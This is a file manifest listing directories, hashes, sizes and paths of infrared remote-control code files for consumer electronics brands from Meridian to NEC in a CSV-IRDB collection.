-D:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier -D:infrared/_CSV-IRDB_/Meridian/Processor -D:infrared/_CSV-IRDB_/Meridian/Remote Control -D:infrared/_CSV-IRDB_/Meridian/Surround Processor -D:infrared/_CSV-IRDB_/Meridian/System Remote -F:e8d4206ec0266a7fd989a4eeb6bcc9a0:5467:infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir -F:35091ba73a038d23cd7386d709810ebe:4754:infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir -F:46ba030d523cab010e28517f6cd7597b:6877:infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir -F:46ba030d523cab010e28517f6cd7597b:6877:infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir -F:b91d7bb3e8077f645dd558bcd8adfec6:9041:infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir -F:0a33c869cfbbddcce2b9528327ee9f3b:122:infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir -F:bf803579f373a134ddad86167e00cff6:3004:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir -F:2d2aba53f90ad6a6aa2ec96b1210a9ad:307:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir -F:7857a871ab4cc55e1c8e3933edaf9a13:571:infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir -F:6cce5fa1455c76ccfde84bb8cb2d0e3c:16301:infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir -F:1cae6a259057132ee5daae4f9915c16c:9502:infrared/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir -F:c5a8593ec87d5ce36ed8db80c3a8d6f9:3766:infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir -D:infrared/_CSV-IRDB_/Metronome/CD Player -F:65e53ee3e74e3e227ff19a1b38ebee63:1812:infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir -D:infrared/_CSV-IRDB_/Metrox/Humidifier -F:35f7fe641416f77256be206e2f47e6c5:657:infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir -D:infrared/_CSV-IRDB_/Micromega/DVD Player -F:6d6065e93bf304fa63d4829b69a04d7c:2611:infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir -D:infrared/_CSV-IRDB_/Microsoft/DVD Player -D:infrared/_CSV-IRDB_/Microsoft/Game Console -D:infrared/_CSV-IRDB_/Microsoft/Home Media PC -D:infrared/_CSV-IRDB_/Microsoft/Unknown_MCE -D:infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360 -D:infrared/_CSV-IRDB_/Microsoft/Unknown_xbox -D:infrared/_CSV-IRDB_/Microsoft/Windows Media Center -F:878b45b9f80293292f0a4e65ee33695f:2287:infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir -F:2e9041f9f5385122da403a6b7d531416:5381:infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir -F:f933c7769c44e2906adee7eae4480b5a:216:infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir -F:7d246b08d74a82b097597860a4a40bc3:3868:infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir -F:92f29614911751b0652c043bb96f2418:3882:infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir -F:a6d687d8a98b1aedf80d7f218d31fa18:4054:infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir -F:c4baa347eedb13eb6d4d1bf90fb0086b:4133:infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir -F:b2e19f2e130c3e1fa25f1213b141be44:2351:infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir -F:6bc6b68dd6a8a6752cd782924d76bfae:6366:infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir -D:infrared/_CSV-IRDB_/Midiland/Digital Decoder -F:5444d18af728ac8f9d032bc8d5fcea45:1872:infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir -D:infrared/_CSV-IRDB_/Mintek/DVD Player -F:b9d0cde9a3dbf15c1c2055f3f6c1aeb4:2174:infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir -D:infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902 -D:infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100 -F:f49eef61ffe360624d787abcde50379e:4323:infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir -F:4068a3a6317cf861c8e7a8a199ef3800:4328:infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir -D:infrared/_CSV-IRDB_/Mitsubishi/CD Player -D:infrared/_CSV-IRDB_/Mitsubishi/Cable Box -D:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape -D:infrared/_CSV-IRDB_/Mitsubishi/DSS -D:infrared/_CSV-IRDB_/Mitsubishi/DVD -D:infrared/_CSV-IRDB_/Mitsubishi/DVD Player -D:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver -D:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc -D:infrared/_CSV-IRDB_/Mitsubishi/Monitor -D:infrared/_CSV-IRDB_/Mitsubishi/Receiver -D:infrared/_CSV-IRDB_/Mitsubishi/Satellite -D:infrared/_CSV-IRDB_/Mitsubishi/TV -D:infrared/_CSV-IRDB_/Mitsubishi/Unknown -D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501 -D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000 -D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349 -D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi -D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv -D:infrared/_CSV-IRDB_/Mitsubishi/VCR -D:infrared/_CSV-IRDB_/Mitsubishi/Video Projector -F:33ee68c16f82f390067e337000cb7477:4282:infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir -F:949d373743e4f85f51e7ec1c9a013fe9:3036:infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir -F:7895a4ba66dd0ce225fceddffadb3ca1:4057:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir -F:d4ce69331a051d946e27f245b7f390bc:1370:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir -F:ac9a745020f60213c36a1ebb70b8e004:2251:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir -F:a4370f0de2eb6a019b90b74a7193382a:3047:infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir -F:f5d341fd67a816b81d7293a579660ac8:300:infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir -F:163b0d51599d64c9b05e19a57fc270cf:203:infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir -F:c535f3068e720c0f583e196dee18789c:3661:infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir -F:c6a917dd68ac1cfd3c5c0a8b44bb115a:6694:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir -F:5dc805f78f0a582652b3bea07eba8803:2169:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir -F:fbbce25356c1be228146ca0f046b0ecb:2649:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir -F:0f831e414f93647de36607d60daf06fc:2494:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir -F:aec2c1949d70c17172b36168ccf6dab6:199:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir -F:60626f5b04ce4b5376bcd98ad082bdf6:8870:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir -F:172a8d2e6ee4656ef6d2e0484c8e4e9a:199:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir -F:9e0cebc73cf088bfa47ff2c6f048a74e:1894:infrared/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir -F:3fc392622d922c3407d8bf6c9749ea3b:402:infrared/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir -F:ac511a13a62883a01629599cb0a24f2d:2949:infrared/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir -F:839fa86606b17ea9f8d645ca235ea7c8:124:infrared/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir -F:bc8f2b3c02cb893f2336da4646af8fa5:2425:infrared/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir -F:9d20ec10163793f0e0281c75b066b149:18548:infrared/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir -F:746e47ab18df731a13a94d306e186686:15490:infrared/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir -F:6093d5e26b3437f150a9dfddf204be1f:13277:infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir -F:3e0ac32d35a6c299a627a453ef751894:2515:infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir -F:785c9b6ac41a9dd106e7d5f20c881bed:2696:infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir -F:b459c4d9a34a7cf9c04fe3ee8f315f78:7394:infrared/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir -F:a7806cae5c77df3d6dc0b80e22427dc3:2449:infrared/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir -F:fd2be2d5f63879259c34a05911682b72:1736:infrared/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir -F:a94e9101f4a57cc268ba3ee1fd4f2ac4:225:infrared/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir -F:5740379c8beaf2e1ccbece7458d1601d:15946:infrared/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir -F:b9b8dd68b87b3608b35b2e96527e2a60:1137:infrared/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir -F:af5b4d82eca08488005bd6a6ad8c350f:3090:infrared/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir -F:8ab12515569c817c7caf74e29ffebe53:9709:infrared/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir -F:53ff4bd6e00cf9c95e1846c83f6d9545:21205:infrared/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir -F:8d925688bb7f00abf3aca2d7916b95ba:2965:infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir -F:705572cfa109d40821a3788719de1099:2212:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir -F:05a516693c2c0f70b47429014603bb4d:2228:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir -F:58d7d61b0eb91cf451a974e1d0c2b43f:2075:infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir -F:b359ef02845c92af26d051077ed2d0de:5521:infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir -F:c68c55f041e35c8bfacb5bde78790df4:390:infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir -F:16c9c93a1e3bfdc906e80b43475db390:118:infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir -F:97c73b4a00458f7c7c48985d9aa9e812:1976:infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir -F:d0f66ba82b6b8f7455293d911ae9a586:975:infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir -F:ededf2f011667db716a39e2d5fcd1202:6271:infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir -F:0dc4cdcd1bfb323b02da85e2dd813f4f:44529:infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir -F:6ab47f316c5d425dab0fc91dae46381d:2847:infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir -D:infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E -F:7bf1b70eab2e243f3c733a01521bd998:736:infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir -D:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15 -D:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado -F:2396f738756da4689d04aa195b9310e4:1946:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir -F:6b9a5fcaeceef265a6d966d1bafd4b6e:1858:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir -D:infrared/_CSV-IRDB_/Motorola/Cable Box -D:infrared/_CSV-IRDB_/Motorola/Cox -D:infrared/_CSV-IRDB_/Motorola/DSS -D:infrared/_CSV-IRDB_/Motorola/DVR -D:infrared/_CSV-IRDB_/Motorola/IP box -D:infrared/_CSV-IRDB_/Motorola/Remote -D:infrared/_CSV-IRDB_/Motorola/Unknown_4dtv -D:infrared/_CSV-IRDB_/Motorola/Unknown_Cable -D:infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416 -D:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000 -D:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244 -D:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524 -D:infrared/_CSV-IRDB_/Motorola/Unknown_DRC800 -D:infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4 -D:infrared/_CSV-IRDB_/Motorola/Unknown_DTH355 -D:infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030 -D:infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA -D:infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500 -D:infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2 -D:infrared/_CSV-IRDB_/Motorola/Unknown_VIP -F:bd6d7b74c3fc4ac8b96ad4feef1a7c4d:23043:infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir -F:bb7d2ce1ec15847b380752179e77c68e:469:infrared/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir -F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir -F:9736560dee17dfdaa11397596e593cca:386:infrared/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir -F:943868f56187a4119d763f9f3900dddb:3387:infrared/_CSV-IRDB_/Motorola/Cable Box/18,0.ir -F:7ccac2ddba0b50058bed518d698754b7:118:infrared/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir -F:f340aa9ad891d3d35e7d7a83cec949f2:386:infrared/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir -F:252e349cea8b548fdbe0a9c2ec2d1e65:318:infrared/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir -F:91f8dbfff8d97c3aec75647da55c1679:300:infrared/_CSV-IRDB_/Motorola/Cable Box/5,1.ir -F:f5d341fd67a816b81d7293a579660ac8:300:infrared/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir -F:fb5341959ba8a1af000a6e3a60b8015c:121:infrared/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir -F:deb3fabd7252e168ec96a3bfd9afaec2:123:infrared/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir -F:5bc487917c448f43ebabc83fcf76ef66:4867:infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir -F:f5d341fd67a816b81d7293a579660ac8:300:infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir -F:ba7567c28cb949c24c118a5a3c08fef4:123:infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir -F:05364a83645fce76a0acd33789a86554:3955:infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir -F:0865f0c969a9d524e60fa571653ad72c:3534:infrared/_CSV-IRDB_/Motorola/IP box/16,0.ir -F:52fed6f962bd1bdc095424d7e87d54ef:4561:infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir -F:7ccac2ddba0b50058bed518d698754b7:118:infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir -F:01a6f59f35836fbe6a4f52c8c4fb953f:2692:infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir -F:4a97daaca4f982da88663b22547f6f7a:3211:infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir -F:78093c8da3a19f3b6965838552b7e7d0:3067:infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir -F:a5d2e6b3ea6fb24e4ee4c00e08316ec4:3673:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir -F:40067ae403b4825674aba81de1863f14:897:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir -F:cb39f521f14c050966e37cc583570b22:4055:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir -F:b16cb7d18463a7fef91bf373581fe9b6:4748:infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir -F:42b62bf4d69b0539238a9c07eff986f0:2791:infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir -F:42b62bf4d69b0539238a9c07eff986f0:2791:infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir -F:3f128a508252283f053d5ee2dcb06f97:2957:infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir -F:45542790050fbb9f40ea90c3bff4b26b:3944:infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir -F:651cfbebae9c906cb0368e56419a1409:5076:infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir -F:bb3f16db76a0a82873abf58bef4254d1:6576:infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir -F:a7e2e828d3118b653105914162844d97:3665:infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir -D:infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal -F:cf963695f2bf97c88497905b178bf68d:1548:infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir -D:infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910 -F:9af7b4ad08cc7db5295c62f3816d13e3:2869:infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir -D:infrared/_CSV-IRDB_/Mustek/Unknown_DVD -D:infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD -D:infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300 -F:42550a67013ab610460aac7d3dbd80cf:4375:infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir -F:7458a3100ac8088a3b8ff3ee36093745:4302:infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir -F:82b969e2ab52983b3b7b766c242c689d:4266:infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir -D:infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+ -F:61dbbb961f307ecb540efae10bcbdd1e:3599:infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir -D:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier -D:infrared/_CSV-IRDB_/Myryad/Receiver -F:232995b8184e07195d1d8ffa2ced29ee:123:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir -F:e80a44da453d418b5f81202ed115bc7b:388:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir -F:509e3f2db95f32368b87d77967b0fb52:123:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir -F:dcf2283c4efc2c251040166693910d12:124:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir -F:341e54a5bf6e1d7c8031b59b9c7e09ae:121:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir -F:8f4e247b94baa584a86cfaf1bf5407d6:124:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir -F:232995b8184e07195d1d8ffa2ced29ee:123:infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir -F:e80a44da453d418b5f81202ed115bc7b:388:infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir -F:1a0a67f0d2679cb380ba78153527f5f6:729:infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir -F:dcf2283c4efc2c251040166693910d12:124:infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir -F:86d8260bfdbc1d958e71d91095855d50:1716:infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir -F:341e54a5bf6e1d7c8031b59b9c7e09ae:121:infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir -F:8f4e247b94baa584a86cfaf1bf5407d6:124:infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir -D:infrared/_CSV-IRDB_/NAD/Amplifier -D:infrared/_CSV-IRDB_/NAD/CD Player -D:infrared/_CSV-IRDB_/NAD/Cassette Tape -D:infrared/_CSV-IRDB_/NAD/Monitor -D:infrared/_CSV-IRDB_/NAD/Receiver -D:infrared/_CSV-IRDB_/NAD/Surround Processor -D:infrared/_CSV-IRDB_/NAD/Tuner -D:infrared/_CSV-IRDB_/NAD/Unknown -D:infrared/_CSV-IRDB_/NAD/Unknown_451 -D:infrared/_CSV-IRDB_/NAD/Unknown_NAD -D:infrared/_CSV-IRDB_/NAD/Unknown_RC512 -D:infrared/_CSV-IRDB_/NAD/Unknown_SR6 -D:infrared/_CSV-IRDB_/NAD/Unknown_SR712 -F:bbcb26e31f1ddd43eb3072fcaa14de23:3076:infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir -F:5c71c15bce89ef41a298e4b6cb6f4e9d:1309:infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir -F:a88c21256d6b11313f2310960a816cbf:2592:infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir -F:8a5a6aa2b273b738fdebd677208b49dc:2852:infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir -F:8dc61f06d9e1b326d9bd3f8cf62baa48:1079:infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir -F:58995f33a6d41222339fcbf609c7b332:2418:infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir -F:6d0cd53d410fb17965b1f033e627827a:5159:infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir -F:615f5497f903fba7d2b09cac6b4921b0:3588:infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir -F:b6cc3fbd887a41814a632217536d7a64:199:infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir -F:62a3d6d2dfdc76c0f682ce6c170c8e4b:3692:infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir -F:e12f57025f6030457a3a3d2475883f0a:5376:infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir -F:22ce760b7bb31900810b5a91b8e40b6e:3711:infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir -F:b7c89aab02f9799ac865d35c737fe11d:667:infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir -F:d3bab7bcc2d8f730f3898505d07dcc34:1884:infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir -F:7836be5caa9ae05f9c2c6433e6508d3e:5462:infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir -F:b72eff10eb98e11c0348c2996a082503:3535:infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir -D:infrared/_CSV-IRDB_/NEC/Monitor -D:infrared/_CSV-IRDB_/NEC/Receiver -D:infrared/_CSV-IRDB_/NEC/Surround Processor -D:infrared/_CSV-IRDB_/NEC/TV -D:infrared/_CSV-IRDB_/NEC/Unknown -D:infrared/_CSV-IRDB_/NEC/Unknown_RB-34P -D:infrared/_CSV-IRDB_/NEC/Unknown_RB-73A -D:infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A -D:infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22 -D:infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E -D:infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E -D:infrared/_CSV-IRDB_/NEC/Unknown_RC-334E -D:infrared/_CSV-IRDB_/NEC/Unknown_RC-6010 -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-337E -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-343E -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-348E -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-409E -D:infrared/_CSV-IRDB_/NEC/Unknown_RD-427E -D:infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S -D:infrared/_CSV-IRDB_/NEC/Unknown_TRB-60 -D:infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A -D:infrared/_CSV-IRDB_/NEC/Unknown_UR-3020 -D:infrared/_CSV-IRDB_/NEC/VCR -D:infrared/_CSV-IRDB_/NEC/Video Projector -F:53dd18ea6c0dfa361dbdfa380a13ba73:2348:infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir -F:e74fc21a7a2519e647999a4e9bb6096a:1793:infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir -F:481a960fe733384b0f6e7a1e49d82535:675:infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir -F:18588ca83bfd30ae7c62812f039ecf80:492:infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir -F:234891cabb2f1d82d7d60953e4dd02c8:1031:infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir -F:c4f9d44872880a319dd65ba6ce38d2c9:917:infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir -F:29392c0b2872ebb858bfeb3d25dada61:2201:infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir -F:e6f6a182630ddbcf69624549c5cd42d0:591:infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir -F:86b856521debe5d80382128d956e5677:976:infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir -F:0635af01e0c7983be1a902fbef191fc8:7471:infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir -F:86fa27d3099b4dda70c059cd25cb369f:2218:infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir -F:dcaa66422eb962203de09befe57c06e1:830:infrared/_CSV-IRDB_/NEC/TV/24,-1.ir -F:8f7f2a568b4faebd87050ed75e4e806a:997:infrared/_CSV-IRDB_/NEC/TV/24,24.ir -F:1f3745a99302960dfe62fbf4f3d805be:2078:infrared/_CSV-IRDB_/NEC/TV/4,-1.ir -F:bc8cc2aea7e72c55a492b95060a1c514:2957:infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir -F:cb8a19cd1785bf4e1b30136cf58e56f9:2957:infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir -F:d872abe192283df6eb57267c322038d5:861:infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir -F:b0c574ea7125e505df3a2ee6b295c0ec:1129:infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir -F:99d52ec20e3f3976ad1b64f40e047b86:2997:infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir -F:41547cb7e487a7ece479841681efaeef:3585:infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir -F:70846e5a13857667cebd2404ea6046e7:4861:infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir -F:cb115082eee3ee9de456939dd904889d:2250:infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir -F:26a26ed633c7865c10cbaebe3bfb1ba2:1008:infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir -F:5fa1d1d5711dcd00aa2d2a89893bee97:2135:infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir -F:2dadcf703cb52ba88710fc2ef0c547fb:2160:infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir -F:e0da439b966cc00aa8fd9c20c96f2915:2259:infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir -F:0269c854af8b8d84ace24d36d69581e1:2262:infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir -F:8c767945ce3b0ae47986f6cc519accfd:2691:infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir -F:0cfc4967ee72d1f5c9d8afee73068127:1197:infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir -F:c158dab66db292727ac96b38829ccb94:1562:infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir -F:f081a443b35328f0d8d0374ddceb13c8:2464:infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir -F:915215be7c55c775b411f4e811a55692:2563:infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir -F:067679fa3ba4dab300b3eb40048bae0f:2951:infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir -F:d2537637b2c349cc3a49ce2e10d2ee29:3285:infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir -F:6fc80a23b7bba8b9bfc655b92093be41:1401:infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir -F:f08a7d39936dd3ffa303f00ca3caea08:2893:infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir -F:4e2943bde2cf41ca06dede7355787cda:1363:infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir -F:02f9e0c657fe1d3410a9be537969e6e8:12099:infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir 